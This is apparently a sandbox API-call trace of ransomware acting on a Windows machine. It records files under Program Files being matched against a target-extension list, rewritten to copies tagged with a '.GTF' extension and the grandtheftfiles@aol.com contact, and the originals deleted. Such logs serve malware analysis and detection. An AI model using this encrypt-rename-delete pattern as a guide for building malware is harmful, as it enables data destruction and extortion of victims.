	[0089.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.908] lstrlenW (lpString=".doc") returned 4
	[0089.908] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.908] lstrlenW (lpString=".docx") returned 5
	[0089.908] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1
	[0089.908] lstrlenW (lpString=".pdf") returned 4
	[0089.908] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.908] lstrlenW (lpString=".xls") returned 4
	[0089.908] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.908] lstrlenW (lpString=".xlsx") returned 5
	[0089.908] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1
	[0089.908] lstrlenW (lpString=".ppt") returned 4
	[0089.909] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.909] lstrlenW (lpString=".zip") returned 4
	[0089.909] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.909] lstrlenW (lpString=".rar") returned 4
	[0089.909] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.909] lstrlenW (lpString=".bz2") returned 4
	[0089.909] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.909] lstrlenW (lpString=".7z") returned 3
	[0089.909] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.909] lstrlenW (lpString=".dbf") returned 4
	[0089.909] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.909] lstrlenW (lpString=".1cd") returned 4
	[0089.909] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.909] lstrlenW (lpString=".jpg") returned 4
	[0089.909] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.909] lstrlenW (lpString=".doc") returned 4
	[0089.909] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.909] lstrlenW (lpString=".docx") returned 5
	[0089.909] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1
	[0089.909] lstrlenW (lpString=".pdf") returned 4
	[0089.909] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.909] lstrlenW (lpString=".xls") returned 4
	[0089.909] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.909] lstrlenW (lpString=".xlsx") returned 5
	[0089.909] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1
	[0089.909] lstrlenW (lpString=".ppt") returned 4
	[0089.909] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.910] lstrlenW (lpString=".zip") returned 4
	[0089.910] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.910] lstrlenW (lpString=".rar") returned 4
	[0089.910] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.910] lstrlenW (lpString=".bz2") returned 4
	[0089.910] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.910] lstrlenW (lpString=".7z") returned 3
	[0089.910] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.910] lstrlenW (lpString=".dbf") returned 4
	[0089.910] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.910] lstrlenW (lpString=".1cd") returned 4
	[0089.910] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0089.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0089.910] lstrlenW (lpString=".jpg") returned 4
	[0089.910] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0089.910] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0089.910] lstrlenW (lpString="msado25.tlb") returned 11
	[0089.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.911] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0089.911] CloseHandle (hObject=0x2fc) returned 1
	[0089.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20
	[0089.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0089.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0089.911] lstrlenW (lpString=".doc") returned 4
	[0089.911] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.911] lstrlenW (lpString=".docx") returned 5
	[0089.912] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1
	[0089.912] lstrlenW (lpString=".pdf") returned 4
	[0089.912] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.912] lstrlenW (lpString=".xls") returned 4
	[0089.912] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.912] lstrlenW (lpString=".xlsx") returned 5
	[0089.912] lstrcmpiW (lpString1=".xlsx", lpString2="5.tlb") returned -1
	[0089.912] lstrlenW (lpString=".ppt") returned 4
	[0089.912] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0089.912] lstrlenW (lpString=".zip") returned 4
	[0089.912] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.912] lstrlenW (lpString=".rar") returned 4
	[0089.912] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.912] lstrlenW (lpString=".bz2") returned 4
	[0089.912] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.912] lstrlenW (lpString=".7z") returned 3
	[0089.912] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0089.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0089.912] lstrlenW (lpString=".dbf") returned 4
	[0089.912] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0089.981] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.981] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.982] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0089.982] GetLastError () returned 0x0
	[0089.982] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x1c4, lpOverlapped=0x0) returned 1
	[0089.983] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x1d0, lpOverlapped=0x0) returned 1
	[0089.984] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.984] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xea, lpOverlapped=0x0) returned 1
	[0089.988] SetEndOfFile (hFile=0x340) returned 1
	[0089.988] CloseHandle (hObject=0x340) returned 1
	[0089.988] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.989] SetEndOfFile (hFile=0x35c) returned 1
	[0089.990] CloseHandle (hObject=0x35c) returned 1
	[0089.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.990] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1
	[0089.991] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.991] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.991] lstrlenW (lpString=".doc") returned 4
	[0089.991] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1
	[0089.991] lstrlenW (lpString=".docx") returned 5
	[0089.991] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1
	[0089.991] lstrlenW (lpString=".pdf") returned 4
	[0089.991] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1
	[0089.991] lstrlenW (lpString=".xls") returned 4
	[0089.991] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1
	[0089.991] lstrlenW (lpString=".xlsx") returned 5
	[0089.991] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1
	[0089.991] lstrlenW (lpString=".ppt") returned 4
	[0089.991] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1
	[0089.991] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.991] lstrlenW (lpString=".zip") returned 4
	[0089.991] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1
	[0089.991] lstrlenW (lpString=".rar") returned 4
	[0089.991] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1
	[0089.991] lstrlenW (lpString=".bz2") returned 4
	[0089.991] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1
	[0089.991] lstrlenW (lpString=".7z") returned 3
	[0089.991] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1
	[0089.991] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.991] lstrlenW (lpString=".dbf") returned 4
	[0089.991] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1
	[0089.991] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.991] lstrlenW (lpString=".1cd") returned 4
	[0089.991] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1
	[0089.991] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.991] lstrlenW (lpString=".jpg") returned 4
	[0089.992] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1
	[0089.992] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.992] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.992] lstrlenW (lpString=".doc") returned 4
	[0089.992] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1
	[0089.992] lstrlenW (lpString=".docx") returned 5
	[0089.992] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1
	[0089.992] lstrlenW (lpString=".pdf") returned 4
	[0089.992] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1
	[0089.992] lstrlenW (lpString=".xls") returned 4
	[0089.992] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1
	[0089.992] lstrlenW (lpString=".xlsx") returned 5
	[0089.992] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1
	[0089.992] lstrlenW (lpString=".ppt") returned 4
	[0089.992] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1
	[0089.992] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.992] lstrlenW (lpString=".zip") returned 4
	[0089.992] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1
	[0089.992] lstrlenW (lpString=".rar") returned 4
	[0089.992] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1
	[0089.992] lstrlenW (lpString=".bz2") returned 4
	[0089.992] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1
	[0089.992] lstrlenW (lpString=".7z") returned 3
	[0089.992] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1
	[0089.992] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.992] lstrlenW (lpString=".dbf") returned 4
	[0089.992] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1
	[0089.992] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.992] lstrlenW (lpString=".1cd") returned 4
	[0089.992] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1
	[0089.992] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53
	[0089.992] lstrlenW (lpString=".jpg") returned 4
	[0089.992] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1
	[0089.993] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.993] lstrlenW (lpString="bci.dll") returned 7
	[0089.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.993] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=16960) returned 1
	[0089.993] CloseHandle (hObject=0x35c) returned 1
	[0089.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20
	[0089.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.993] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.993] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0089.994] GetLastError () returned 0x0
	[0089.994] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x4240, lpOverlapped=0x0) returned 1
	[0090.017] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x4250, lpOverlapped=0x0) returned 1
	[0090.019] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.019] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0090.019] SetEndOfFile (hFile=0x340) returned 1
	[0090.019] CloseHandle (hObject=0x340) returned 1
	[0090.019] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.020] SetEndOfFile (hFile=0x35c) returned 1
	[0090.021] CloseHandle (hObject=0x35c) returned 1
	[0090.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0090.021] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1
	[0090.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.022] lstrlenW (lpString=".doc") returned 4
	[0090.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.022] lstrlenW (lpString=".docx") returned 5
	[0090.022] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0090.022] lstrlenW (lpString=".pdf") returned 4
	[0090.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.022] lstrlenW (lpString=".xls") returned 4
	[0090.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.022] lstrlenW (lpString=".xlsx") returned 5
	[0090.022] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0090.022] lstrlenW (lpString=".ppt") returned 4
	[0090.022] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.022] lstrlenW (lpString=".zip") returned 4
	[0090.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.022] lstrlenW (lpString=".rar") returned 4
	[0090.022] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.022] lstrlenW (lpString=".bz2") returned 4
	[0090.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.022] lstrlenW (lpString=".7z") returned 3
	[0090.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.022] lstrlenW (lpString=".dbf") returned 4
	[0090.022] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.022] lstrlenW (lpString=".1cd") returned 4
	[0090.022] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.022] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.023] lstrlenW (lpString=".jpg") returned 4
	[0090.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.023] lstrlenW (lpString=".doc") returned 4
	[0090.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0090.023] lstrlenW (lpString=".docx") returned 5
	[0090.023] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0090.023] lstrlenW (lpString=".pdf") returned 4
	[0090.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0090.023] lstrlenW (lpString=".xls") returned 4
	[0090.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0090.023] lstrlenW (lpString=".xlsx") returned 5
	[0090.023] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0090.023] lstrlenW (lpString=".ppt") returned 4
	[0090.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0090.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.023] lstrlenW (lpString=".zip") returned 4
	[0090.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0090.023] lstrlenW (lpString=".rar") returned 4
	[0090.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0090.023] lstrlenW (lpString=".bz2") returned 4
	[0090.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0090.023] lstrlenW (lpString=".7z") returned 3
	[0090.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0090.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.023] lstrlenW (lpString=".dbf") returned 4
	[0090.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0090.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.023] lstrlenW (lpString=".1cd") returned 4
	[0090.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0090.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0090.024] lstrlenW (lpString=".jpg") returned 4
	[0090.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0090.024] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0090.024] lstrlenW (lpString="dcpr.dll") returned 8
	[0090.024] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0090.024] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=159808) returned 1
	[0090.024] CloseHandle (hObject=0x35c) returned 1
	[0090.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20
	[0090.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.025] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0090.025] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.025] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.025] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0090.025] GetLastError () returned 0x0
	[0090.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x27040, lpOverlapped=0x0) returned 1
	[0090.545] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x27050, lpOverlapped=0x0) returned 1
	[0090.549] ReadFile (in: hFile=0x35c, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.549] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0090.549] SetEndOfFile (hFile=0x340) returned 1
